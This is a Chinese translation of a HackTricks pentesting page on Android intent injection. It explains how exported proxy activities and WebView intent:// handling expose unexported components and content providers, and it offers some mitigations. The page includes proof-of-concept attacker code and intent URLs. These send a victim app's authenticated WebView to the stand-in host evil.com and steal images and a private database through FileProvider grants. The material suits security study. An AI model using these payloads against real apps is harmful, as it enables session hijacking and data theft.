hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md

15 KiB
Raw Blame History

零基础学习AWS黑客攻击直至成为专家 htARTE (HackTricks AWS 红队专家)

支持HackTricks的其他方式

研究取自 https://blog.oversecured.com/Android-Access-to-app-protected-components/

介绍

这个漏洞类似于 Web安全中的开放重定向。由于Intent类是Parcelable属于这个类的对象可以作为额外的 数据传递给另一个Intent对象。
许多开发者利用这个特性创建代理 组件(活动、广播接收器和服务),它们接收一个嵌入的Intent并将其传递给危险方法,如startActivity(...)sendBroadcast(...)等。
这是危险的,因为攻击者可以强迫应用启动一个非导出组件,该组件不能直接从另一个应用启动,或者授予攻击者访问其内容提供者的权限。WebView 有时也会将**URL从字符串更改为Intent**对象,使用Intent.parseUri(...)方法,并将其传递给startActivity(...)

{% hint style="info" %} 总结如果攻击者可以发送一个不安全执行的Intent他可能会访问未导出的组件并滥用它们。 {% endhint %}

典型案例

让我们来看一个例子。AndroidManifest.xml文件的片段

<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

Activity ProxyActivity

startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

Activity AuthWebViewActivity

webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

AuthWebViewActivity 是一个例子,展示了隐藏的应用功能执行某些不安全的操作,在这种情况下,将用户的认证会话传递给从 url 参数获得的 URL。

出口限制意味着攻击者无法直接访问 AuthWebViewActivity。一个直接调用

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

抛出一个java.lang.SecurityException,因为Permission DenialAuthWebViewActivity没有从uid 1337导出。

但是攻击者可以强迫受害者启动AuthWebViewActivity本身

Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

权限提升的影响

为了提升这个漏洞的影响,你需要找到其他漏洞/配置错误,这些漏洞/配置错误可以增加漏洞的影响(因为单独的漏洞并没有产生任何风险)。

通过内容提供者提升攻击

除了访问原始应用程序的任意组件外,攻击者可以尝试访问那些满足以下条件的受影响应用程序的内容提供者

  • 它必须是非导出的(否则可以直接攻击,无需使用我们在本文中讨论的漏洞)
  • 它必须设置了**android:grantUriPermissions** 标志为 true
  • android:grantUriPermissions="true" 表示你的 Java 代码可以对该 ContentProvider 提供的任何 Uri 使用 FLAG_GRANT_READ_URI_PERMISSIONFLAG_GRANT_WRITE_URI_PERMISSION
  • android:grantUriPermissions="false" 表示只有 <grant-uri-permission> 子元素指定的 Uri可以使用 FLAG_GRANT_READ_URI_PERMISSIONFLAG_GRANT_WRITE_URI_PERMISSION

攻击者必须将自己设置为嵌入意图的接收者,并设置以下标志

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION 允许持久访问提供者(没有这个标志,访问只是一次性的)
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION 允许通过前缀访问 URI - 例如,攻击者可以使用 URI content://com.victim.provider/ 授予对提供者所有内容的访问权限,而不是反复使用完整路径如 content://com.victim.provider/image/1 单独获取访问权限,然后使用 ContentResolver 来访问 content://com.victim.provider/image/1content://com.victim.provider/image/2 等。
  • Intent.FLAG_GRANT_READ_URI_PERMISSION 允许对提供者进行读操作(如 queryopenFileopenAssetFile
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION 允许写操作

一个典型的提供者示例,攻击者可以获得对其的访问权限,并执行常规操作,如 queryupdateinsertdeleteopenFileopenAssetFile

<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>

示例:盗取用户图片的 AndroidManifest.xml 文件

<activity android:name=".LeakActivity" android:exported="true" />

MainActivity.java 文件

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

攻击 Android 文件提供者

这个漏洞也使得攻击者能够窃取位于开发者预定目录中的应用文件。为了成功攻击,恶意应用需要获取对 Android 文件提供者的访问权限,然后使用 Android ContentResolver 读取文件提供者的内容

示例文件提供者(更多详情见 https://developer.android.com/reference/android/support/v4/content/FileProvider

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

它提供对特定列表中文件的读/写访问权限,该列表可以在应用资源中找到,在这种情况下位于 res/xml/provider_paths.xml

它可能看起来有点像

<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
每个标签指定一个相对于根目录的 `path` 值。例如,值 `external_files` 将对应于 `new File(Environment.getExternalStorageDirectory(), "images")``root-path` 对应于 `/`,即提供对任意文件的访问。

假设我们在文件 `/data/data/com.victim/databases/secret.db` 中存储了一些秘密数据:窃取这个文件的行为可能看起来像这样 `MainActivity.java`
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server

通过 WebView 访问任意组件

Intent 对象可以通过调用 Intent.toUri(flags) 转换为字符串,并且可以使用 Intent.parseUri(stringUri, flags) 从字符串转换回 Intent。这个功能经常用在 WebView应用内置的浏览器应用可以验证 intent:// 方案,解析 URL 成一个 Intent 并启动活动

这个漏洞可以通过其他漏洞利用(例如,能够在应用内的 WebView 中直接通过导出的活动打开任意链接,或者通过深度链接机制)在客户端应用中,也可以远程利用,包括服务器端的跨站脚本攻击或客户端的中间人攻击。

示例代码存在漏洞

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}
这里的关键是每次WebView尝试加载新链接时都会调用`WebViewClient`类的`shouldOverrideUrlLoading(...)`方法,但这给了应用程序添加自定义处理程序的选项。

为了利用这个漏洞攻击者需要创建一个WebView重定向到一个特别准备的intent-scheme URL。创建URL的例子
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

示例攻击

location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

此版本与经典版本的漏洞相比有若干限制

  • 嵌入的 ParcelableSerializable 对象不能转换为字符串(它们将被忽略)
  • 当调用 Intent.parseUri(...) 时,不安全的标志 Intent.FLAG_GRANT_READ_URI_PERMISSIONIntent.FLAG_GRANT_WRITE_URI_PERMISSION 将被忽略。解析器只有在设置了 Intent.URI_ALLOW_UNSAFEstartActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE)))标志时才会保留它们,这种情况非常罕见

许多开发者仍然忘记对通过 WebView 收到的 intents 进行完整过滤。

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if("intent".equals(uri.getScheme())) {
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
startActivity(intent);
return true;
}
return super.shouldOverrideUrlLoading(view, request);
}

攻击者可以通过选择器指定一个非导出组件

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"

并绕过应用程序对显式意图的保护。因此,我们还建议过滤选择器。

intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);
但即使进行了完整的过滤,也不能保证完全的保护,因为攻击者可以创建一个与某个非导出活动的 `intent-filter` 相对应的隐式意图。活动声明的示例:
<activity android:name=".AuthWebViewActivity" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<data android:scheme="victim" android:host="secure_handler" />
</intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

我们因此建议在启动活动之前检查它是否已导出。

创建不安全意图的其他方法

一些应用开发者实现了他们自己的意图解析器(通常用于处理深链接或推送消息),使用例如JSON对象、字符串或字节数组,这些要么与默认设置无异,要么存在很大的危险,因为它们可能扩展**Serializable** 和 Parcelable 对象,并且它们也允许设置不安全的标志。安全研究员也可能遇到更多奇特的意图创建方式,例如将字节数组转换为 Parcel,然后从中读取一个意图。

Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
Parcel parcel = Parcel.obtain();
parcel.unmarshall(handle, 0, handle.length);
startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

易受攻击的应用程序

{% embed url="https://github.com/oversecured/ovaa" %}

从零开始学习AWS黑客攻击直到成为专家通过 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式